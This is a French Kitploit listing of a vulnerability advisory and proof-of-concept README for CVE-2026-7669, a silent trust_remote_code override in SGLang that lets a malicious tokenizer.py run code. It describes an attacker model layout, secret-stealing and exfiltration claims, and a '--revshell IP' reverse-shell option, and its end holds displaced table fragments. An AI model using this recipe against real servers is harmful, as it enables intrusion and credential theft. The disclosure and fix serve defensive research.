Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-7669-PoC — PoC pour CVE-2026-7669 : remplacement silencieux de trust_remote_code dans SGLang -> RCE | Kitploit
Outils/GitHubGitHub/gouldnicholas/cve-2026-7669-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité de la Chaîne LogistiqueOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubgouldnicholas/cve-2026-7669-poc

CVE-2026-7669-PoC

PoC pour CVE-2026-7669 : remplacement silencieux de trust_remote_code dans SGLang -> RCE

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-7669

SGLang remplace silencieusement trust_remote_code=False par True et ré-invoque AutoTokenizer.from_pretrained dès que transformers v5 renvoie un objet TokenizersBackend. Un modèle avec un tokenizer_class personnalisé et un auto_map pointant vers tokenizer.py atteint une exécution de code arbitraire dans le processus SGLang même lorsque l'opérateur a passé False. Aucune ligne de journal n'est émise à quelque niveau que ce soit.

  • Projet : https://github.com/sgl-project/sglang
  • Affecté : 0.5.10 jusqu'au main actuel (commit fae90abf6)
  • Non affecté : 0.5.9 et versions antérieures
  • Code vulnérable : python/sglang/srt/utils/hf_transformers_utils.py:898-909
  • CVSS 3.1 : AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Élevé
  • CWE : 693, 94, 829
  • Code vulnérable

    root@kitploit:~
    if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
        tokenizer = AutoTokenizer.from_pretrained(
            tokenizer_name,
            *args,
            trust_remote_code=True,
            tokenizer_revision=tokenizer_revision,
            clean_up_tokenization_spaces=False,
            **kwargs,
        )
    

    Introduit dans la PR #17784 (commit d1e95af28, 2026-03-18). La notification originale logger.info(...) a été supprimée par le commit 27ac831a8 (2026-03-23) sous un titre « docs: improve CI and testing documentation », laissant la substitution entièrement silencieuse dans chaque version vulnérable publiée.

    Reproduction

    root@kitploit:~
    git clone https://github.com/<your-org>/CVE-2026-7669.git
    cd CVE-2026-7669
    ./run.sh
    

    Construit une image Docker (python:3.12.7-slim-bookworm + transformers==5.3.0

    • source SGLang épinglée) et exécute le PoC. Environ 30 à 60 secondes au premier lancement. Aucun GPU requis.

    Autres modes :

    root@kitploit:~
    ./run.sh --server         reproduire via TokenizerManager.__init__
    ./run.sh --versions       matrice transformers 5.0..5.5
    ./run.sh --revshell IP    reverse shell optionnel vers IP:4444
    ./run.sh --rebuild        forcer la reconstruction --no-cache
    ./run.sh --copy-ledger ./ledger.json
    

    Verdict

    La sortie 0 signifie confirmé. Résumé final :

    root@kitploit:~
    Phase 1   transformers + False             return=TokenizersBackend     exec=False
    Phase 1b  PATCHED sglang + False           return=TokenizersBackend     exec=False
    Phase 2   REAL sglang + False              return=MaliciousTokenizer    exec=True
    Phase 2b  PATCHED sglang + True            return=MaliciousTokenizer    exec=True
    Phase 3   REAL sglang + False (slow)       return=MaliciousTokenizer    exec=True
    
    Claims:  29 PASS  /  0 FAIL  /  0 N/A  /  29 TOTAL
    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
    
    *** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
    

    Codes de sortie :

    CodeSignification
    0Confirmé
    1Non déclenché
    2Faux positif (transformers lui-même a exécuté tokenizer.py, le bug est en amont)
    3Vérification préalable de la version épinglée échouée

    Environnement épinglé

    La phase de vérification préalable lit pinned_versions.json et vérifie chaque valeur par rapport à l'environnement d'exécution. Toute dérive entraîne une sortie 3 avant l'exécution des tests.

    ComposantÉpinglage
    Python3.12.7-slim-bookworm
    transformers5.3.0
    Commit SGLangfae90abf6e15aaffb6fd924a439253674771487d
    SHA256 de hf_transformers_utils.py9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e
    SHA256 du bloc vulnérable (lignes 898-909)109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece

    Justification CVSS

    MétriqueValeurAppuyé par
    AVNLes fichiers déclencheurs (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) sont la disposition standard auto_map du HF Hub. Tout registre qui les sert atteint le bug.
    ACLPHASE-2 se déclenche de manière déterministe en une seule exécution. Chaque condition de déclenchement est un contenu créé par l'attaquant. PRE-1..7 confirment l'absence d'empreinte environnementale.
    PRNUn téléversement gratuit sur le HF Hub est suffisant. Rien dans la chaîne de déclenchement n'exige de privilège préexistant sur la victime.
    UIRLe déclenchement ne se produit que lorsqu'un opérateur (ou un pipeline configuré par l'opérateur) invoque launch_server --model-path attacker/model.
    SUToutes les affirmations SEV-* s'exécutent dans l'autorité du processus SGLang. Aucune évasion de sandbox ou de conteneur.
    CHSEV-secrets capture HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY depuis l'environnement du processus. SEV-network ouvre un canal d'exfiltration TCP sortant.
    IHSEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip sont quatre primitives d'intégrité indépendantes dans des emplacements sensibles différents.
    AHDéduit de l'RCE. SEV-pip prouve l'exécution arbitraire de sous-processus, qui est la même primitive nécessaire pour un auto-DoS. Le PoC ne démontre pas directement une auto-destruction.

    8.8 est le plancher conservateur. 9.6 (avec S:C) et 10.0 (avec S:C et UI:N) sont défendables mais dépendent de l'évaluateur.

    UI:N n'est pas justifié pour cette CVE. Le serveur HTTP de SGLang possède un contournement réel d'absence d'authentification par défaut lorsque api_key=None et admin_api_key=None (vérifié par AUTH-1 contre la primitive decide_request_auth à l'exécution), mais aucun point de terminaison HTTP n'atteint get_tokenizer après le démarrage (vérifié par CHAIN-1). Les quatre sites d'appel de get_tokenizer (TokenizerManager.__init__, Scheduler.__init__, TPWorker.__init__, DetokenizerManager.__init__) se déclenchent une fois au lancement du serveur à partir du --model-path fourni par l'opérateur. Le contournement d'authentification est donc un problème distinct et non un partenaire de chaîne pour la CVE-2026-7669.

    Affirmations

    Le PoC écrit un registre JSON dans /tmp/poc_claim_ledger.json avec 29 affirmations testables individuellement. Utilisez ./run.sh --copy-ledger ./ledger.json pour l'extraire.

    GroupeAffirmations
    PRE-1..7Versions épinglées (Python, transformers, SHA256 du fichier, nombre de lignes, SHA256 du bloc de substitution, trust_remote_code par défaut, chemin source)
    SRC-1Le source importé de get_tokenizer contient la substitution
    PHASE-1transformers respecte trust_remote_code=False directement
    PHASE-1b, PHASE-1b-mechSGLang sans les lignes 898-909 respecte False et effectue exactement un appel from_pretrained
    PHASE-2, PHASE-2-mech, PHASE-2-silentLe vrai SGLang exécute tokenizer.py. La trace montre l'appel 0 (False)->TokenizersBackend, l'appel 1 (True)->MaliciousTokenizer. Aucune ligne de journal ne mentionne trust_remote_code (capture DEBUG sur le logger racine et sglang).
    PHASE-2bPatché + True explicite charge toujours (le patch est chirurgical)
    PHASE-3-rce, PHASE-3-via-overrideLe mode tokenizer lent atteint également l'RCE via le même chemin 898-909
    SEV-write-sglang, SEV-write-launchsrv, SEV-write-modelPrimitives de persistance et de propagation latérale
    SEV-networkCanal d'exfiltration TCP sortant
    SEV-secretsCapture de secrets de variables d'environnement
    SEV-pipInstallation pip arbitraire (chaîne d'approvisionnement)
    SEV-rootProcessus s'exécutant en root dans l'image lmsysorg
    AUTH-1Les ServerArgs par défaut (api_key=None, ) laissent tous les points de terminaison accessibles sans authentification

    Mécanisme

    Fichiers du modèle déclencheur (tous contrôlés par l'attaquant, tous autorisés par le HF Hub) :

    root@kitploit:~
    attacker/model/
      config.json             model_type "gpt2" (dans TOKENIZER_MAPPING_NAMES de transformers)
      tokenizer_config.json   tokenizer_class personnalisé + auto_map -> tokenizer.py
      tokenizer.json          tokenizer BPE valide (pour que le premier chargement réussisse)
      tokenizer.py            charge utile
      model.safetensors       poids factices
    

    Flux d'exécution dans get_tokenizer(MODEL_DIR, trust_remote_code=False) :

    1. SGLang appelle AutoTokenizer.from_pretrained(..., trust_remote_code=False).
    2. Transformers v5, trouvant un tokenizer_class personnalisé absent de son registre, retombe sur un TokenizersBackend générique construit à partir de tokenizer.json. tokenizer.py n'est pas exécuté à ce stade.
    3. Les lignes 898-909 de SGLang vérifient type(tokenizer).__name__ == "TokenizersBackend" et réessaient silencieusement avec trust_remote_code=True.
    4. Transformers, désormais autorisé à faire confiance au code distant, importe tokenizer.py. Les instructions de niveau supérieur s'exécutent dans le processus SGLang.

    Le PHASE-2-mech du PoC capture la trace littéralement :

    root@kitploit:~
    [{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
     {idx: 1, trust_remote_code: True,  returned_type: "MaliciousTokenizer"}]
    

    Correctif

    Supprimez les lignes 898-909. TokenizersBackend est un tokenizer utilisable pour de nombreuses charges de travail et le renvoyer tel quel est un défaut sûr. Si un modèle nécessite réellement un code de tokenizer personnalisé, l'opérateur doit passer --trust-remote-code explicitement.

    Alternativement, journalisez un avertissement fort et renvoyez TokenizersBackend sans ré-invoquer from_pretrained :

    root@kitploit:~
    if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
        logger.warning(
            "Model %s requires a custom tokenizer but trust_remote_code=False. "
            "Returning generic TokenizersBackend without executing tokenizer.py. "
            "Restart with --trust-remote-code if the custom code is required.",
            tokenizer_name,
        )
    

    PHASE-2b vérifie que le patch minimal est chirurgical : un trust_remote_code=True explicite charge toujours le modèle.

    Divulgation

    • 2026-04-07 : découverte, PoC fonctionnel
    • 2026-04-07 : signalé via le rapport de vulnérabilité privé SGLang et VulDB
    • 2026-05-03 : CVE-2026-7669 attribuée
    • 2026-05-04 : ce PoC publié

    Crédits

    • Nick Gould (@gouldnicholas, nick.gould777343 @ gmail.com)
    • David Rochester (@davidrxchester, rochesterdcj @ gmail.com)

    Références

    • Code vulnérable : https://github.com/sgl-project/sglang/blob/fae90abf6e15aaffb6fd924a439253674771487d/python/sglang/srt/utils/hf_transformers_utils.py#L898-L909
    • PR d'introduction : https://github.com/sgl-project/sglang/pull/17784
    • Commit de suppression du journal : https://github.com/sgl-project/sglang/commit/27ac831a8
    • trust_remote_code de HuggingFace : https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrained
    • CVE SGLang antérieures : CVE-2025-10164, CVE-2026-3059, CVE-2026-3060

    Ce PoC est destiné à la recherche défensive en sécurité et à la remédiation. Le tokenizer.py malveillant écrit uniquement dans /tmp/sglang_poc_proof.txt dans le conteneur par défaut. Ne l'exécutez pas contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas l'autorisation de tester.

    Télécharger l’outil
    admin_api_key=None
    ADMIN_OPTIONAL
    AUTH-2, AUTH-3Contrôles positifs confirmant que le middleware bloque l'accès non authentifié et accepte un bearer valide lorsqu'il est configuré
    CHAIN-1Aucun gestionnaire de point de terminaison HTTP n'invoque get_tokenizer() après le démarrage (zéro site d'appel dans http_server.py)
    CHAIN-2Verdict explicite : UI:N n'est PAS justifié pour cette CVE. Le contournement d'absence d'authentification par défaut est réel mais ne peut pas atteindre la substitution trust_remote_code, car les quatre appelants de get_tokenizer (TokenizerManager / Scheduler / TPWorker / DetokenizerManager) sont des chemins __init__ déclenchés une fois au lancement du serveur. L'opérateur choisit toujours le chemin du modèle au moment de launch_server, donc UI:R reste valable.